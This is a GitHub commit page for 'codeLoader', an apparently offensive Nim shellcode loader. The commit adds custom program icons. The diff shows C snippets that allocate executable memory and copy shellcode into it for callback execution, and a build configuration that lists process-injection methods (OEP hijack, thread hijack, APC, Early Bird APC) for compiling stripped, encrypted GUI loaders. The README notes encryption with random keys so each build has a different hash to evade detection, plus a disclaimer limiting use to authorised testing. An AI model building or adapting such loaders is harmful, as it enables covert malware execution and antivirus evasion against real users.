Skip to content

Commit 8c6d404

Browse files
committed
Custom icon
Ability to add program icons of your choice
1 parent b07246a commit 8c6d404

13 files changed

+2574
-126
lines changed

.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,7 @@ nimblecache/
77
htmldocs/
88
.idea/
99
*.exe
10+
codeLoader/codeLoader/bin
11+
codeLoader/codeLoader/obj
12+
codeLoader/.vs
1013
# End of https://www.toptal.com/developers/gitignore/api/nim

CertEnumSystemStore.nim

+1
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
import public
33

44
{.emit: """
5+
#include <wincrypt.h>
56
int CertEnumSystem(char *shellcode,SIZE_T shellcodeSize) {
67
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
78
::RtlMoveMemory(addr, shellcode, shellcodeSize);

CertEnumSystemStoreLocation.nim

+1
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
import public
33

44
{.emit: """
5+
#include <wincrypt.h>
56
int CertEnumSystemLocationNim(char *shellcode,SIZE_T shellcodeSize) {
67
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
78
::RtlMoveMemory(addr, shellcode, shellcodeSize);

Compiler.ini

+23-23
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,24 @@
11
[compile]
2-
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
3-
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
4-
APC-Ijnect Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
5-
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
6-
Direct Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
7-
CreateThreatPoolWait Load=nim c -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
8-
Fiber Load=nim c -d:strip -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
9-
CertEnumSystemStore-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
10-
CertEnumSystemStoreLocation-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
11-
CopyFile2-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
12-
CopyFileEx-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
13-
CreateTimerQueueTimer_Tech-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
14-
CryptEnumOIDInfo-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
15-
EnumChildWindows-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
16-
EnumDesktopW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
17-
EnumDesktopWindows-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
18-
EnumDirTreeW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
19-
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
20-
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
21-
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
22-
EnumFontsW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
23-
EnumLanguageGroupLocalesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
24-
EnumObjects-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim
2+
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
3+
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
4+
APC-Ijnect Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
5+
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
6+
Direct Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
7+
CreateThreatPoolWait Load=nim c -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
8+
Fiber Load=nim c -d:strip -d:<encrypt> <ico> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
9+
CertEnumSystemStore-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
10+
CertEnumSystemStoreLocation-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
11+
CopyFile2-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
12+
CopyFileEx-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
13+
CreateTimerQueueTimer_Tech-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
14+
CryptEnumOIDInfo-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
15+
EnumChildWindows-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
16+
EnumDesktopW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
17+
EnumDesktopWindows-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
18+
EnumDirTreeW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
19+
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
20+
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
21+
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
22+
EnumFontsW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
23+
EnumLanguageGroupLocalesW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
24+
EnumObjects-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim

CryptEnumOIDInfo.nim

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
import public
33

44
{.emit: """
5-
5+
#include <wincrypt.h>
66
int CryptEnumOIDInfoNim(char *shellcode,SIZE_T shellcodeSize) {
77
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
88
::RtlMoveMemory(addr, shellcode, shellcodeSize);

README.md

+5-1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@
44
![codeloader](pic/codeloader.png)
55
## 更新:
66

7+
**20231228:图标自定义功能**
8+
79
**20230826:支持nim的v2.0版本,去除base64编码,减小文件生成体积**
810

911
**20220620:Fix Bug!增加2种加载`shellcode`方式**
@@ -20,6 +22,8 @@
2022

2123
3:支持两种加密技术,分别位`3des`加密和凯撒密码,密钥随机,每次生成文件拥有不同hash
2224

25+
4:图标可以自定义
26+
2327
<h3 style="color: red;">仅限用于技术研究和获得正式授权的测试活动。</h3>
2428

2529
## 文件组成:
@@ -85,7 +89,7 @@ https://github.com/S4R1N/AlternativeShellcodeExec
8589

8690
## TODO:
8791

88-
- [ ] 添加图标自定义功能
92+
- [x] 添加图标自定义功能
8993

9094
- [ ] 增加更多的加载方式
9195

codeLoader/.vs/codeLoader/v16/.suo

-52.5 KB
Binary file not shown.

0 commit comments

Comments
 (0)